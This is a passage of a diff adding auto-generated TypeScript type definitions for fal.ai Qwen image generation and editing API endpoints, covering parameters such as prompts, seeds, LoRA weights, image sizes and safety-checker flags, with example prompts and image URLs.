enable_safety_checker?: boolean + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiQwenImage2512LoraOutputFormatEnumKey + /** + * @description The negative prompt to generate an image from. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The acceleration level to use. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiQwenImage2512LoraAccelerationEnumKey + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The size of the generated image. + * @default landscape_4_3 + */ + image_size?: ImageSize4E306D64 | InputFalAiQwenImage2512LoraImageSizeKey + /** + * @description + * The LoRAs to use for the image generation. You can use up to 3 LoRAs + * and they will be merged together to generate the final image. + * + * @default [] + * @type array | undefined + */ + loras?: LoraWeight31D04102[] + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The prompt to generate an image from. + * @example Single red rose in a clear glass vase on white marble streaked with black and gold veins, harsh directional shadow, high contrast, editorial style, clean negative space. + * @type string + */ + prompt: string + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The guidance scale to use for the image generation. + * @minimum 0 + * @maximum 20 + * @default 4 + * @type number | undefined + */ + guidance_scale?: number +} + +export type Image68C1D8Ef = { + url: string + width: number + height: number + /** + * @default image/jpeg + */ + content_type?: string | null +} + +export type OutputFalAiQwenImage2512Lora = { + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The generated image files info. + * @example [{"height":768,"width":1024,"url":"https://v3b.fal.media/files/b/0a887d5a/r3LfL0WY1re7dT5Qb85U_.png","content_type":"image/png"}] + * @type array + */ + images: Image68C1D8Ef[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] +} + +export type ImageSize3304Cd7B = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputFalAiQwenImageEdit2509OutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiQwenImageEdit2509OutputFormatEnumKey = + (typeof inputFalAiQwenImageEdit2509OutputFormatEnum)[keyof typeof inputFalAiQwenImageEdit2509OutputFormatEnum] + +export const inputFalAiQwenImageEdit2509ImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiQwenImageEdit2509ImageSizeKey = + (typeof inputFalAiQwenImageEdit2509ImageSize)[keyof typeof inputFalAiQwenImageEdit2509ImageSize] + +export const inputFalAiQwenImageEdit2509AccelerationEnum = { + none: 'none', + regular: 'regular', +} as const + +export type InputFalAiQwenImageEdit2509AccelerationEnumKey = + (typeof inputFalAiQwenImageEdit2509AccelerationEnum)[keyof typeof inputFalAiQwenImageEdit2509AccelerationEnum] + +export type InputFalAiQwenImageEdit2509 = { + /** + * @description The negative prompt for the generation + * @default ' ' + * @example + * @type string | undefined + */ + negative_prompt?: string + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 20 + * @default 4 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The URLs of the images to edit. + * @example ["https://v3.fal.media/files/monkey/i3saq4bAPXSIl08nZtq9P_ec535747aefc4e31943136a6d8587075.png","https://v3.fal.media/files/penguin/BCOZp6teRhSQFuOXpbBOa_da8ef9b4982347a2a62a516b737d4f21.png","https://v3.fal.media/files/tiger/sCoZhBksx9DvwSR4_U3_C_3d1f581441874005908addeae9c10d0f.png"] + * @type array + */ + image_urls: string[] + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiQwenImageEdit2509OutputFormatEnumKey + /** + * @description The prompt to generate the image with + * @example Close shot of a woman standing in next to this car on this highway + * @type string + */ + prompt: string + /** + * @description The number of inference steps to perform. + * @minimum 2 + * @maximum 100 + * @default 50 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The size of the generated image. + * @default square_hd + */ + image_size?: ImageSize3304Cd7B | InputFalAiQwenImageEdit2509ImageSizeKey + /** + * @description Acceleration level for image generation. Options: 'none', 'regular'. Higher acceleration increases speed. 'regular' balances speed and quality. + * @default 'regular' + * @example regular + * @type string | undefined + */ + acceleration?: InputFalAiQwenImageEdit2509AccelerationEnumKey +} + +export type Image6E5B09Db = { + height: number + width: number + url: string + /** + * @default image/jpeg + */ + content_type?: string | null +} + +export type OutputFalAiQwenImageEdit2509 = { + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + timings: { + [key: string]: number + } + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The generated image files info. + * @example [{"height":768,"width":1024,"url":"https://v3.fal.media/files/zebra/mMW8_S5PeGuDXLTfIKCpG.png","content_type":"image/jpeg"}] + * @type array + */ + images: Image6E5B09Db[] +} + +export type ImageSize8354940D = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export type LoraWeight12C9184F = { + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number + /** + * @description URL or the path to the LoRA weights. + * @type string + */ + path: string +} + +export const inputFalAiQwenImageEdit2509LoraImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiQwenImageEdit2509LoraImageSizeKey = + (typeof inputFalAiQwenImageEdit2509LoraImageSize)[keyof typeof inputFalAiQwenImageEdit2509LoraImageSize] + +export const inputFalAiQwenImageEdit2509LoraAccelerationEnum = { + none: 'none', + regular: 'regular', +} as const + +export type InputFalAiQwenImageEdit2509LoraAccelerationEnumKey = + (typeof inputFalAiQwenImageEdit2509LoraAccelerationEnum)[keyof typeof inputFalAiQwenImageEdit2509LoraAccelerationEnum] + +export const inputFalAiQwenImageEdit2509LoraOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiQwenImageEdit2509LoraOutputFormatEnumKey = + (typeof inputFalAiQwenImageEdit2509LoraOutputFormatEnum)[keyof typeof inputFalAiQwenImageEdit2509LoraOutputFormatEnum] + +export type InputFalAiQwenImageEdit2509Lora = { + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The number of inference steps to perform. + * @minimum 2 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The prompt to generate the image with + * @example Close shot of a woman standing in next to this car on this highway + * @type string + */ + prompt: string + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The negative prompt for the generation + * @default ' ' + * @example + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The size of the generated image. If not provided, the size of the final input image will be used to calculate the size of the output image. + */ + image_size?: + | ImageSize8354940D + | InputFalAiQwenImageEdit2509LoraImageSizeKey + | null + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The URLs of the images to edit. + * @example ["https://v3.fal.media/files/monkey/i3saq4bAPXSIl08nZtq9P_ec535747aefc4e31943136a6d8587075.png","https://v3.fal.media/files/penguin/BCOZp6teRhSQFuOXpbBOa_da8ef9b4982347a2a62a516b737d4f21.png","https://v3.fal.media/files/tiger/sCoZhBksx9DvwSR4_U3_C_3d1f581441874005908addeae9c10d0f.png"] + * @type array + */ + image_urls: string[] + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 20 + * @default 4 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description + * The LoRAs to use for the image generation. You can use up to 3 LoRAs + * and they will be merged together to generate the final image. + * + * @default [] + * @type array | undefined + */ + loras?: LoraWeight12C9184F[] + /** + * @description Acceleration level for image generation. Options: 'none', 'regular'. Higher acceleration increases speed. 'regular' balances speed and quality. + * @default 'regular' + * @example regular + * @type string | undefined + */ + acceleration?: InputFalAiQwenImageEdit2509LoraAccelerationEnumKey + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiQwenImageEdit2509LoraOutputFormatEnumKey +} + +export type Image1Fe20802 = { + url: string + height: number + /** + * @default image/jpeg + */ + content_type?: string | null + width: number +} + +export type OutputFalAiQwenImageEdit2509Lora = { + /** + * @description The generated image files info. + * @example [{"url":"https://v3.fal.media/files/zebra/mMW8_S5PeGuDXLTfIKCpG.png","height":768,"content_type":"image/jpeg","width":1024}] + * @type array + */ + images: Image1Fe20802[] + timings: { + [key: string]: number + } + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] +} + +export type ImageSize8E2096B4 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputFalAiQwenImageEdit2509LoraGalleryAddBackgroundImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiQwenImageEdit2509LoraGalleryAddBackgroundImageSizeKey = + (typeof inputFalAiQwenImageEdit2509LoraGalleryAddBackgroundImageSize)[keyof typeof inputFalAiQwenImageEdit2509LoraGalleryAddBackgroundImageSize] + +export const inputFalAiQwenImageEdit2509LoraGalleryAddBackgroundOutputFormatEnum = + { + png: 'png', + jpeg: 'jpeg', + webp: 'webp', + } as const + +export type InputFalAiQwenImageEdit2509LoraGalleryAddBackgroundOutputFormatEnumKey = + (typeof inputFalAiQwenImageEdit2509LoraGalleryAddBackgroundOutputFormatEnum)[keyof typeof inputFalAiQwenImageEdit2509LoraGalleryAddBackgroundOutputFormatEnum] + +export const inputFalAiQwenImageEdit2509LoraGalleryAddBackgroundAccelerationEnum = + { + none: 'none', + regular: 'regular', + } as const + +export type InputFalAiQwenImageEdit2509LoraGalleryAddBackgroundAccelerationEnumKey = + (typeof inputFalAiQwenImageEdit2509LoraGalleryAddBackgroundAccelerationEnum)[keyof typeof inputFalAiQwenImageEdit2509LoraGalleryAddBackgroundAccelerationEnum] + +/** + * @description Input model for Add Background endpoint - Remove white background and add a realistic scene + * @type object + */ +export type InputFalAiQwenImageEdit2509LoraGalleryAddBackground = { + /** + * @description The size of the generated image. If not provided, the size of the final input image will be used. + */ + image_size?: + | ImageSize8E2096B4 + | InputFalAiQwenImageEdit2509LoraGalleryAddBackgroundImageSizeKey + | null + /** + * @description The scale factor for the LoRA model. Controls the strength of the LoRA effect. + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + lora_scale?: number + /** + * @description Describe the background/scene you want to add behind the object. The model will remove the white background and add the specified environment. + * @default 'Remove white background and add a realistic scene behind the object' + * @example Add an outdoor scene with mountains and road behind the car + * @example Add a modern living room background behind the product + * @example Add a natural outdoor setting with grass and trees as background + * @type string | undefined + */ + prompt?: string + /** + * @description The format of the output image + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiQwenImageEdit2509LoraGalleryAddBackgroundOutputFormatEnumKey + /** + * @description The negative prompt for the generation + * @default ' ' + * @example + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Whether to enable the safety checker for the generated image. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The URLs of the images to edit. Provide an image with a white or clean background. + * @example ["https://v3b.fal.media/files/b/rabbit/YN3dXLQBWb2ch6V607Uuc_d808599bb92f4c808502a118697bdc1f.png"] + * @type array + */ + image_urls: string[] + /** + * @description Random seed for reproducibility. Same seed with same prompt will produce same result. + */ + seed?: number | null + /** + * @description The CFG (Classifier Free Guidance) scale. Controls how closely the model follows the prompt. + * @minimum 0 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Number of images to generate + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If `True`, the media will be returned as a data URI and won't be saved in history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The number of inference steps to perform. + * @minimum 2 + * @maximum 50 + * @default 6 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Acceleration level for image generation. 'regular' balances speed and quality. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiQwenImageEdit2509LoraGalleryAddBackgroundAccelerationEnumKey +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image94A717E5 = { + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiQwenImageEdit2509LoraGalleryAddBackground = { + /** + * @description The seed used for generation + * @type integer + */ + seed: number + /** + * @description The generated/edited images + * @example [{"url":"https://v3b.fal.media/files/b/lion/d_xp44RvnuYYxioxBgAlX.png"}] + * @type array + */ + images: Image94A717E5[] +} + +export type ImageSize990C0A83 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputFalAiQwenImageEdit2509LoraGalleryFaceToFullPortraitImageSize = + { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', + } as const + +export type InputFalAiQwenImageEdit2509LoraGalleryFaceToFullPortraitImageSizeKey = + (typeof inputFalAiQwenImageEdit2509LoraGalleryFaceToFullPortraitImageSize)[keyof typeof inputFalAiQwenImageEdit2509LoraGalleryFaceToFullPortraitImageSize] + +export const inputFalAiQwenImageEdit2509LoraGalleryFaceToFullPortraitOutputFormatEnum = + { + png: 'png', + jpeg: 'jpeg', + webp: 'webp', + } as const + +export type InputFalAiQwenImageEdit2509LoraGalleryFaceToFullPortraitOutputFormatEnumKey = + (typeof inputFalAiQwenImageEdit2509LoraGalleryFaceToFullPortraitOutputFormatEnum)[keyof typeof inputFalAiQwenImageEdit2509LoraGalleryFaceToFullPortraitOutputFormatEnum] + +export const inputFalAiQwenImageEdit2509LoraGalleryFaceToFullPortraitAccelerationEnum = + { + none: 'none', + regular: 'regular', + } as const + +export type InputFalAiQwenImageEdit2509LoraGalleryFaceToFullPortraitAccelerationEnumKey = + (typeof inputFalAiQwenImageEdit2509LoraGalleryFaceToFullPortraitAccelerationEnum)[keyof typeof inputFalAiQwenImageEdit2509LoraGalleryFaceToFullPortraitAccelerationEnum] + +/** + * @description Input model for Face to Full Portrait endpoint - Generate full portrait from a cropped face image + * @type object + */ +export type InputFalAiQwenImageEdit2509LoraGalleryFaceToFullPortrait = { + /** + * @description The size of the generated image. If not provided, the size of the final input image will be used. + */ + image_size?: + | ImageSize990C0A83 + | InputFalAiQwenImageEdit2509LoraGalleryFaceToFullPortraitImageSizeKey + | null + /** + * @description The scale factor for the LoRA model. Controls the strength of the LoRA effect. + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + lora_scale?: number + /** + * @description Describe the full portrait you want to generate from the face. Include clothing, setting, pose, and style details. + * @default 'Photography. A portrait of the person in professional attire with natural lighting' + * @example Photography. A young woman wearing a yellow dress stands in a flower field + * @example Professional headshot with business suit and office background + * @example Casual portrait outdoors with natural sunlight and bokeh background + * @type string | undefined + */ + prompt?: string + /** + * @description The format of the output image + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiQwenImageEdit2509LoraGalleryFaceToFullPortraitOutputFormatEnumKey + /** + * @description The negative prompt for the generation + * @default ' ' + * @example + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Whether to enable the safety checker for the generated image. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The URL of the cropped face image. Provide a close-up face photo. + * @example ["https://v3b.fal.media/files/b/kangaroo/Tl9BsbouyruyrEJtXWYOz_ef4270d3ff4d47f18883c70cfdf07c27.png"] + * @type array + */ + image_urls: string[] + /** + * @description Random seed for reproducibility. Same seed with same prompt will produce same result. + */ + seed?: number | null + /** + * @description The CFG (Classifier Free Guidance) scale. Controls how closely the model follows the prompt. + * @minimum 0 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Number of images to generate + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If `True`, the media will be returned as a data URI and won't be saved in history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The number of inference steps to perform. + * @minimum 2 + * @maximum 50 + * @default 6 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Acceleration level for image generation. 'regular' balances speed and quality. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiQwenImageEdit2509LoraGalleryFaceToFullPortraitAccelerationEnumKey +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image709E5B54 = { + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiQwenImageEdit2509LoraGalleryFaceToFullPortrait = { + /** + * @description The seed used for generation + * @type integer + */ + seed: number + /** + * @description The generated/edited images + * @example [{"url":"https://v3b.fal.media/files/b/koala/efKAFkAtgzxZeLSdv-d2x.png"}] + * @type array + */ + images: Image709E5B54[] +} + +export type ImageSizeFdd27Cf2 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputFalAiQwenImageEdit2509LoraGalleryGroupPhotoImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiQwenImageEdit2509LoraGalleryGroupPhotoImageSizeKey = + (typeof inputFalAiQwenImageEdit2509LoraGalleryGroupPhotoImageSize)[keyof typeof inputFalAiQwenImageEdit2509LoraGalleryGroupPhotoImageSize] + +export const inputFalAiQwenImageEdit2509LoraGalleryGroupPhotoOutputFormatEnum = + { + png: 'png', + jpeg: 'jpeg', + webp: 'webp', + } as const + +export type InputFalAiQwenImageEdit2509LoraGalleryGroupPhotoOutputFormatEnumKey = + (typeof inputFalAiQwenImageEdit2509LoraGalleryGroupPhotoOutputFormatEnum)[keyof typeof inputFalAiQwenImageEdit2509LoraGalleryGroupPhotoOutputFormatEnum] + +export const inputFalAiQwenImageEdit2509LoraGalleryGroupPhotoAccelerationEnum = + { + none: 'none', + regular: 'regular', + } as const + +export type InputFalAiQwenImageEdit2509LoraGalleryGroupPhotoAccelerationEnumKey = + (typeof inputFalAiQwenImageEdit2509LoraGalleryGroupPhotoAccelerationEnum)[keyof typeof inputFalAiQwenImageEdit2509LoraGalleryGroupPhotoAccelerationEnum] + +/** + * @description Input model for Group Photo endpoint - Create composite group photos with vintage/retro style + * @type object + */ +export type InputFalAiQwenImageEdit2509LoraGalleryGroupPhoto = { + /** + * @description The size of the generated image. If not provided, the size of the final input image will be used. + */ + image_size?: + | ImageSizeFdd27Cf2 + | InputFalAiQwenImageEdit2509LoraGalleryGroupPhotoImageSizeKey + | null + /** + * @description The scale factor for the LoRA model. Controls the strength of the LoRA effect. + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + lora_scale?: number + /** + * @description Describe the group photo scene, setting, and style. The model will maintain character consistency and add vintage effects like grain, blur, and retro filters. + * @default 'Two people standing next to each other outside with a landscape background' + * @example Two people standing next to each other outside with a landscape background + * @example Group photo outdoors with mountains and nature in the background, vintage style + * @example Two people next to each other in a scenic outdoor setting with retro filter + * @example People standing together outside with beautiful landscape behind them + * @type string | undefined + */ + prompt?: string + /** + * @description The format of the output image + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiQwenImageEdit2509LoraGalleryGroupPhotoOutputFormatEnumKey + /** + * @description The negative prompt for the generation + * @default ' ' + * @example + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Whether to enable the safety checker for the generated image. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The URLs of the images to combine into a group photo. Provide 2 or more individual portrait images. + * @example ["https://v3.fal.media/files/monkey/i3saq4bAPXSIl08nZtq9P_ec535747aefc4e31943136a6d8587075.png","https://v3b.fal.media/files/b/kangaroo/OEtbMr7E43t0UPT8JwRT4_091834d85d8346d6960e3fd789d67db8.png"] + * @type array + */ + image_urls: string[] + /** + * @description Random seed for reproducibility. Same seed with same prompt will produce same result. + */ + seed?: number | null + /** + * @description The CFG (Classifier Free Guidance) scale. Controls how closely the model follows the prompt. + * @minimum 0 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Number of images to generate + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If `True`, the media will be returned as a data URI and won't be saved in history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The number of inference steps to perform. + * @minimum 2 + * @maximum 50 + * @default 6 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Acceleration level for image generation. 'regular' balances speed and quality. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiQwenImageEdit2509LoraGalleryGroupPhotoAccelerationEnumKey +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image661Ff591 = { + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiQwenImageEdit2509LoraGalleryGroupPhoto = { + /** + * @description The seed used for generation + * @type integer + */ + seed: number + /** + * @description The generated/edited images + * @example [{"url":"https://v3b.fal.media/files/b/kangaroo/GGvzZELjxMpFvV2IAEb_9.png"}] + * @type array + */ + images: Image661Ff591[] +} + +export type ImageSize702A6879 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputFalAiQwenImageEdit2509LoraGalleryIntegrateProductImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiQwenImageEdit2509LoraGalleryIntegrateProductImageSizeKey = + (typeof inputFalAiQwenImageEdit2509LoraGalleryIntegrateProductImageSize)[keyof typeof inputFalAiQwenImageEdit2509LoraGalleryIntegrateProductImageSize] + +export const inputFalAiQwenImageEdit2509LoraGalleryIntegrateProductOutputFormatEnum = + { + png: 'png', + jpeg: 'jpeg', + webp: 'webp', + } as const + +export type InputFalAiQwenImageEdit2509LoraGalleryIntegrateProductOutputFormatEnumKey = + (typeof inputFalAiQwenImageEdit2509LoraGalleryIntegrateProductOutputFormatEnum)[keyof typeof inputFalAiQwenImageEdit2509LoraGalleryIntegrateProductOutputFormatEnum] + +export const inputFalAiQwenImageEdit2509LoraGalleryIntegrateProductAccelerationEnum = + { + none: 'none', + regular: 'regular', + } as const + +export type InputFalAiQwenImageEdit2509LoraGalleryIntegrateProductAccelerationEnumKey = + (typeof inputFalAiQwenImageEdit2509LoraGalleryIntegrateProductAccelerationEnum)[keyof typeof inputFalAiQwenImageEdit2509LoraGalleryIntegrateProductAccelerationEnum] + +/** + * @description Input model for Integrate Product endpoint - Blend and integrate products/elements into backgrounds + * @type object + */ +export type InputFalAiQwenImageEdit2509LoraGalleryIntegrateProduct = { + /** + * @description The size of the generated image. If not provided, the size of the final input image will be used. + */ + image_size?: + | ImageSize702A6879 + | InputFalAiQwenImageEdit2509LoraGalleryIntegrateProductImageSizeKey + | null + /** + * @description The scale factor for the LoRA model. Controls the strength of the LoRA effect. + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + lora_scale?: number + /** + * @description Describe how to blend and integrate the product/element into the background. The model will automatically correct perspective, lighting and shadows for natural integration. + * @default 'Blend and integrate the product into the background' + * @example Blend and integrate the product into the background with correct perspective and lighting + * @example Seamlessly blend the object into the scene with natural shadows + * @example Integrate the product naturally into the environment + * @type string | undefined + */ + prompt?: string + /** + * @description The format of the output image + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiQwenImageEdit2509LoraGalleryIntegrateProductOutputFormatEnumKey + /** + * @description The negative prompt for the generation + * @default ' ' + * @example + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Whether to enable the safety checker for the generated image. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The URL of the image with product to integrate into background. + * @example ["https://v3b.fal.media/files/b/koala/LFYeCtq2LB4s6IpmoI2iy_2fb7b46d1f3749db9f7bab679bc6c4f3.png"] + * @type array + */ + image_urls: string[] + /** + * @description Random seed for reproducibility. Same seed with same prompt will produce same result. + */ + seed?: number | null + /** + * @description The CFG (Classifier Free Guidance) scale. Controls how closely the model follows the prompt. + * @minimum 0 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Number of images to generate + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If `True`, the media will be returned as a data URI and won't be saved in history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The number of inference steps to perform. + * @minimum 2 + * @maximum 50 + * @default 6 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Acceleration level for image generation. 'regular' balances speed and quality. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiQwenImageEdit2509LoraGalleryIntegrateProductAccelerationEnumKey +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image5F65D4Ba = { + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type 